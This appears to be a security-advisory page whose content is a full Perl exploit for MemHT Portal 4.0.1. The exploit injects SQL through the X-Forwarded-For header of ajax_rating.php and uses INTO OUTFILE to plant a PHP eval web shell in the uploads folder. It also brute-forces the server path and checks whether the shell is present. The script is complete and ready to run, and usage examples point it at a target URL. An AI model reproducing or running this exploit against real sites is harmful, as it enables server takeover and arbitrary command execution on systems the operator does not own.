SecurityReason - MemHT Portal 4.0.1 SQL Injection Code Execution Exploit

Advisory Text :

#!/usr/bin/perl

=about

MemHT 4.0.1 Perl exploit

AUTHOR
discovered & written by Ams
ax330d [doggy] gmail [dot] com

VULN. DESCRIPTION:
Due to weak params filtering we are able to make
SQL-Injection. So,
1. Look at 'inc/ajax/ajax_rating.php', line ~ 29.
It is not enough to check whether script has been accessed from
main file. Better define some value.
2. 'inc/inc_login.php' line ~ 35. Here we are able to send and
bypass any IP. That eregi does not help, look at exploit in injection,
comma is the last one.

As proof this exploit creates simple shell.

REQUIREMENTS:
MySQL should be able to write to file
Know full server path to portal

=cut

use strict;
use warnings;
use IO::Socket;

print "
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MemHT portal 4.0.1 Perl exploit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
";

my $expl_url = shift or &usage;
my $serv_path = shift || '-b';
my $def_shell = '/uploads/file/files.php';
# Simple concept shell
my $shell = '<?php @eval($_GET[cmd]);';

my @paths = qw(
/var/www/htdocs /var/www/localhost/htdocs /var/www /var/wwww/hosting
/var/www/html /var/www/vhosts
/home/www /home/httpd/vhosts
/usr/local/apache/htdocs
/www/htdocs
);

@paths = ( $serv_path ) unless $serv_path eq '-b';

exploit( $expl_url );

sub exploit {

# Defining vars.
$_ = shift;
$_ .= '/' unless substr($_, -1) eq '/';
print "\n\tExploiting:\t $_\n";

my($packet, $rcvd, $injection);
my($prot, $host, $path, ) =
m{(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?};

# Trying to get /lang/english.php to get server path
$packet = "POST $path/lang/english.php HTTP/1.1\r\n";
$packet .= "Host: $host\r\n";
$packet .= "Connection: Close\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
$rcvd = send_pckt($host, $packet, 1);

die "\n\tUnable to connect to $host!\n\n" unless $rcvd;

if( $rcvd =~ /Undefined variable:/ ) {
@paths = ($rcvd =~ m#\s+in\s+(.*?)${path}lang/english.php#);
print "\n\tFound path:\t $paths[-1]\n";
} else {
print "\n\tStarting bruteforce...\n";
}

# Some bruteforce here if path is not defined
for $serv_path ( @paths ) {

$injection = "' UNION SELECT '$shell' INTO OUTFILE
'$serv_path$path$def_shell'-- /*,";

print "\n\tTesting:\t $serv_path$path$def_shell ...\n";

# Sending poisoned request
$packet = "GET $path/inc/ajax/ajax_rating.php HTTP/1.1\r\n";
$packet .= "Host: $host\r\n";
$packet .= "X-Forwarded-For:$injection\r\n";
$packet .= "Referer:http://$host$path/index.php\r\n";
$packet .= "Connection: Close\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";

send_pckt($host, $packet, 1) or die "\n\tUnable to connect to
http://$host!\n\n";
}

# Checking for shell presence
$packet = "HEAD $path$def_shell HTTP/1.1\r\n";
$packet .= "Host: $host\r\n";
$packet .= "Connection: Close\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";

$rcvd = send_pckt($host, $packet, 1);
if( ! $rcvd) {
print "\n\tUnable to connect to $host\n\n";
exit;
}

if( $rcvd =~ /200\s+OK/ ) {
print "\n\tExploited:\t http://$host$path$def_shell\n\n";
} else {
print "\n\tExploiting failed.\n\n";
}

}

sub send_pckt() {

my $dat;
my ($host, $packet, $ret) = @_;
my $socket = IO::Socket::INET->new(
Proto => 'tcp',
PeerAddr => $host,
PeerPort => 80
);
if( ! $socket) {
return 0;
} else {

print $socket $packet;
if( $ret ) {
local $/;
$dat = <$socket>;
}
close $socket;
return $dat;
}
}

sub usage {
print "\n\tUsage:\t$0 http://site.com [-b|full server path]

By default exlpoit checks /lang/english.php for errors to get real path,
If path could not be found exploit will bruteforce it ( or if used -b or
none path is specified ).

Example:\t$0 http://localhost/ /var/www/htdocs
$0 http://localhost/ -b
$0 http://localhost/\n\n";
exit;
}